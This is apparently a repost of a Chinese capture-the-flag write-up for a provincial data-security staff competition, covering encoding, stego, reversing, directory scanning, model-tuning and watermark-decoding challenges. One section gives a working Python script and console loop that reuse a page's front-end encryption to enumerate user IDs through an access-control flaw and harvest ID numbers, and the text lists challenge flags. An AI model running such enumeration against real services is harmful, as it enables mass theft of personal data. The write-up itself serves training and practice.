电竞比分网-中国电竞赛事及体育赛事平台

分享

湖南省第二屆職工數(shù)字化應(yīng)用技術(shù)技能大賽-數(shù)據(jù)安全管理員賽項選拔賽-科目二-wp

 c智華 2025-09-25 發(fā)布于廣東

附件下載

文章目錄:

?b.zip

?RSA_LCG.zip

poem.rar

?ds_re5

?bmm_web_20250807

?js-drox

?model_regularization_tuning_user

?數(shù)據(jù)分析1

?數(shù)據(jù)分析2

?b.zip

分析題目,提交王想的身份證號碼。

附件:b.zip

flag:140825195506302668

打開文件發(fā)現(xiàn)一個字符串,直接用隨波逐流的ctf編碼工具一鍵解密即可

發(fā)現(xiàn)是base16編碼

圖片

?RSA_LCG.zip

分析題目,提交獲取到的標(biāo)識字符串進(jìn)行提交。

附件:RSA_LCG.zip

flag:2c532af14547ff78756d2695d11787af

現(xiàn)場用本地qwen3:0.6b 解不出來,復(fù)盤時用騰訊元寶的DeepSeek可解

圖片

poem.rar

附件:poem.rar

我司網(wǎng)絡(luò)安全團(tuán)隊在一次例行審計中,發(fā)現(xiàn)了一個可疑的圖片文件 poem.png。初步分析顯示,該圖片看似普通,但我們的情報顯示這很可能是一種巧妙的數(shù)據(jù)隱藏技術(shù)。據(jù)調(diào)查,原本應(yīng)該還有一個配套的文本文件 poem.txt,但該文件在發(fā)現(xiàn)前已經(jīng)不翼而飛。我們只能依靠現(xiàn)有的圖片文件來破解這個謎題。

復(fù)盤都沒看出來這是個啥

?ds_re5

分析程序?qū)崿F(xiàn)的數(shù)據(jù)脫敏功能,具體任務(wù)見附件中“題目說明.docx”

附件:ds_re5.rar

復(fù)盤時朋友用IDA逆向,然后借助ai分析核心代碼解出來的

圖片
圖片

?bmm_web_20250807

某企業(yè)數(shù)據(jù)安全團(tuán)隊在對公司網(wǎng)站進(jìn)行安全評估時,發(fā)現(xiàn)可能存在數(shù)據(jù)泄露風(fēng)險。作為數(shù)據(jù)安全分析師,您需要通過技術(shù)手段來識別被禁止訪問的敏感路徑。例:發(fā)現(xiàn)路徑 /upload/,則提交:/upload/

flag:/tjhack/

打開網(wǎng)頁,看源代碼就加載了一個css,登錄框傳入任意字符都沒反應(yīng),接口也是指向自己

直接使用dirsearch掃描發(fā)現(xiàn)robots.txt

圖片

?js-drox

某公司上線了一套號稱“高度安全”的數(shù)據(jù)傳輸系統(tǒng),所有請求數(shù)據(jù)都會在前端經(jīng)過加密再發(fā)送,看上去幾乎無法被篡改。你注冊并登錄后發(fā)現(xiàn)系統(tǒng)中有一個「查詢用戶信息」的接口,其請求體被前端 JS 模塊加密,解密邏輯也被隱藏在代碼中。然而,開發(fā)人員卻忽視了權(quán)限控制的實現(xiàn),你能否繞過這層“安全保護(hù)”,成功獲取“王成”的身份證號?

flag:350122199703073498

給了兩個賬號登錄后臺,后臺有個功能點可以查看用戶信息,其中包含身份證

請求體

{'timestamp':1758420734,'user_id':1001,'data':'VtjTr5gaWd0vs7uWu6g4gGNXWjE1VWLKFfga4Np1OK+s9bb3iDz3Zs3owyXlYhal'}

響應(yīng)體

{
  'data': {
    'balance''11469.07',
    'id_card''433126197809254675',
    'name''\u6768\u4e3d\u4e3d',
    'phone''18660020548',
    'user_id'1001
  },
  'success'true
}

經(jīng)過測試發(fā)現(xiàn)可以重放,但是改user_id出現(xiàn)解密異常

控制臺通過棧跟蹤尋找加密函數(shù)

圖片

確定加密函數(shù)后

方法一:使用jsrpc進(jìn)行遠(yuǎn)程調(diào)試,調(diào)用加密函數(shù)進(jìn)行枚舉

import time
import json
import requests


def poc_zzOdW(url, data):
    headers = {
        'Accept''*/*',
        'Accept-Encoding''gzip, deflate',
        'Accept-Language''zh-CN,zh;q=0.9',
        'Content-Length''113',
        'Content-Type''application/json',
        'Cookie''session=.eJyrVspLzE1VslKKKTUzN7OIKTVJNU6BkEo6SqXFqUXxmSlKVoYGBoYQLlR5Yk5mcqpSLQBsohOt.aM9e4Q.A5GVEClD96G4m6b14iQU8TnF5jo',
        'Host''172.20.123.23:18284',
        'Origin''http://172.20.123.23:18284',
        'Referer''http://172.20.123.23:18284/dashboard',
        'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36'
    }
    res = requests.post(url=url, headers=headers, data=json.dumps(
        data), verify=False, proxies={
        'http''http://127.0.0.1:8083',
                'https''https://127.0.0.1:8083'
    })
    return res.json()


if __name__ == '__main__':

    for user_id in range(10192000):
        timestamp = time.time()
        requestData = {
            'user_id': user_id,
            'action''query'
        }
        js_code = '''
    (function(){'''
+'''
    const aa = encryptData(JSON.stringify('''
+str(requestData)+'''), '''+str(user_id)+''', '''+str(timestamp)+''');
        console.log(aa)
        return aa'''
+'''
    })()

        '''

        data1 = {
            'group''zzz',
            'code': js_code
        }
        try:
            res_data = requests.post('http://localhost:12080/execjs', data=data1)
            encryptedData = res_data.json()
            print(f'瀏覽器:{encryptedData}')
            data = {'timestamp': timestamp, 'user_id': user_id,
                    'data': encryptedData['data']}
        except Exception as e:
            print(f'[-]user_id:{user_id}')
            with open('err.txt''a')as f:
                f.write(f'{user_id}\n')
                f.close()

        url = 'http://172.20.123.23:18284/api/userinfo'
        res_dict = poc_zzOdW(url, data)
        res = str(res_dict)
        print(f'服務(wù)器:{res}')
        if'王成'in res:
            break

圖片

法二:賽后復(fù)盤才反應(yīng)過來,這js也沒混淆,函數(shù)就那么幾個,其實是可以直接控制臺寫for循環(huán)的,現(xiàn)場用jsrpc+python純純浪費時間,蠢哭了,3秒的活干了30分鐘

for (let i = 1001; i <= 2000; i++) {
  queryUserInfo(i)
}
圖片

?model_regularization_tuning_user

請選手使用ssh連接環(huán)境,嘗試訓(xùn)練與驗證模型性能。執(zhí)行訓(xùn)練腳本(train.py)與模型性能驗證腳本(evaluate_model.py),并反復(fù)訓(xùn)練并嘗試修改調(diào)優(yōu)超參數(shù)的正則化,使得模型性能驗證腳本(evaluate_model.py)最終得出的準(zhǔn)確率結(jié)果為0.982805。正則化的取值范圍為:0.1-100,最多取一位小數(shù)。最終將符合準(zhǔn)確率結(jié)果的正則化超參數(shù)值作為答案提交?!驹斍閰⒁姼郊蝿?wù)書】

附件:7.zip、任務(wù)書-模型正則化調(diào)優(yōu).pdf

之前沒接觸后,一開始也沒仔細(xì)看,以為難得很,復(fù)盤是才發(fā)現(xiàn),把兩腳本綜合一下針對參數(shù)c寫個for循環(huán)就搞定了

不過不知道為啥用二分法不行,最后從0.1開始窮舉完成的

圖片
圖片

完整腳本附件:77.zip

?數(shù)據(jù)分析1

'請分析泄露的文件和公司機(jī)密文件,找出是哪些機(jī)密文件遭到了泄露,將泄露文件與公司機(jī)密文件一一對應(yīng)。

【評測標(biāo)準(zhǔn)】 本題答案位32位小寫md5。

請將分析得到的結(jié)果整理成如”泄露文件名-公司機(jī)密文件名“的字符串,將所有結(jié)果按照泄露文件名中數(shù)字從小到大進(jìn)行排序,排序結(jié)果使用”-“連接,最后轉(zhuǎn)為32位小寫md5提交,注意計算md5時,輸入字符應(yīng)為UTF-8編碼且行尾不帶換行符。'

附件:wjxl.zip

在現(xiàn)場沒想到所有問泄露文件都是能對應(yīng)上了,所以思路是\u截斷后面的水印計算md5和公司機(jī)密文件進(jìn)行對比,結(jié)果死活不對

出來后朋友告訴思路錯了,應(yīng)該

取前30個字符 然后把標(biāo)點符號 空格 tab 都刪了再進(jìn)行匹配

解密腳本:88.zip

?數(shù)據(jù)分析2

'請分析泄露的文件,嘗試將水印解碼后獲取公司名稱,得到各個文件泄露的源頭。

【評測標(biāo)準(zhǔn)】 本題答案為32位小寫md5。

請將泄露文件與公司名稱進(jìn)行對應(yīng),拼接成如”泄露文件名-公司名稱“的字符串,將所有結(jié)果按照泄露文件名中數(shù)字從小到大進(jìn)行排序,排序結(jié)果使用”-“連接,最后轉(zhuǎn)為32位小寫md5提交,注意計算md5時,輸入字符應(yīng)為UTF-8編碼且行尾不帶換行符。'

附件:wjxl.zip

讀取泄密文件,轉(zhuǎn)Unicode編碼,提取\ufeff 和 \u200b

將這兩個不可見字符替換為1和0,二進(jìn)制轉(zhuǎn)字符串 得base64 解碼獲得公司名

圖片

附件:99.py

總結(jié)

比賽經(jīng)驗不足,很多操作步驟上浪費了太多時間,菜雞還得多練

附件下載

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多